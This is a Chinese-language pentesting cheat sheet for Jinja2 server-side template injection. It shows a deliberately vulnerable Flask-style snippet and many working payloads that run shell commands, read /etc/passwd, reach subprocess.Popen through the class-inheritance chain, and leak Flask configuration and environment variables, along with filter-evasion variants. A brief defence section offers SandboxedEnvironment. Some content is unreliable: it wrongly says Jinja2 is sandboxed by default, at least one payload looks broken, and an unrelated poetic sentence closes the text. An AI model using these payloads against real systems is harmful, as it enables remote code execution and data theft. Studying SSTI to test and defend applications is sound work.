SSTI-python模板引擎Jinja2注入全面指南

一、基础知识

1. Jinja2简介

模板引擎:Python的主流模板引擎,广泛用于Flask、Django等框架。
语法标签
• 变量输出:{{ variable }}
• 逻辑控制:{% if condition %}...{% endif %}
• 注释:
沙盒机制:默认禁用危险操作(如文件读写),但可通过继承链绕过。


2. 开发中的代码实例

正常使用示例(安全)

from jinja2 import Environment, FileSystemLoader

env = Environment(loader=FileSystemLoader('templates'))
template = env.get_template('index.html')
name = request.args.get('name', 'Guest')
output = template.render(name=name)  # 安全渲染

有漏洞的代码示例(危险!)

from jinja2 import Template

user_input = request.args.get('content')
template = Template(user_input)  # 直接渲染用户输入
output = template.render()

二、渗透关键点

1. 检测注入点

输入点:URL参数、Cookie、动态模板内容。
检测方法

GET /page?param={{7 * 7}} HTTP/1.1

2. 沙盒状态判断

默认沙盒:Jinja2默认限制文件读写和危险函数。
沙盒绕过标志:尝试访问敏感属性(如__class__),成功则沙盒未启用。


三、漏洞利用与Payload

1. 基础利用(Python对象操作)

执行命令

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

文件读取

{{ self.__init__.__globals__.__builtins__.open('/etc/passwd').read() }}

2. 类继承链攻击

通过__mro__访问危险类

{{ ''.__class__.__mro__[1].__subclasses__() }}  <!-- 列出所有子类 -->

查找可用的危险类(如subprocess.Popen):

{{ ''.__class__.__mro__[1].__subclasses__()[413]('id', shell=True, stdout=-1).communicate() }}

3. 绕过沙盒的快捷方式

使用__dict__访问模块

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

利用内置cyclerjoiner(Flask特定)

{{ cycler.__init__.__globals__.os.system('id') }}

4. 其他Payload

信息泄露

{{ config }}                   <!-- 泄露Flask配置 -->
{{ request.environ }}          <!-- 泄露环境变量 -->

XSS利用

{{ '' | safe }}  <!-- 需关闭自动转义 -->

四、防御手段

1. 官方推荐

避免渲染用户输入:禁止动态拼接模板内容。
启用严格沙盒

from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()

2. 安全配置

• 更新至最新版本(≥Jinja2 3.x)。
• 使用白名单限制模板可访问的属性和方法。
• 在Flask中禁用调试模式(app.debug = False)。


五、绕过技巧

1. 字符串拼接

{{ self["__init__"]["__globals__"]["__builtins__"]["__import__"]("os").popen("id").read() }}

2. 利用过滤器

{{ "id" | map("system") }}

3. 全局函数注入

{{ lipsum.__globals__.os.popen("id").read() }}

4. 属性链展开

{{ (()|select|string|list).__class__.__mro__[1].__subclasses__()[413]('id',shell=True) }}

六、总结与参考

1. 测试流程

  1. 检测注入点 → 2. 访问__class__验证沙盒 → 3. 构造继承链 → 4. 执行命令/读取文件

2. 高危CVE

CVE-2019-8341:Jinja2沙盒绕过漏洞(影响版本<2.10.1)。
CVE-2022-2333:Flask调试模式RCE(需结合Jinja2)。

3. 参考资源

Jinja2官方文档
SSTI Payload生成工具
Jinja2沙盒绕过研究


备注:Jinja2的沙盒限制较为严格,但通过对象继承链仍可实现绕过。渗透测试时需优先验证__class__等魔术方法的可访问性,并关注目标框架(如Flask)的特定漏洞。


梦里小镇落雨,开花,起风,挂霜,甚至扬起烤红薯的香气,每个墙角都能听见人们的说笑声。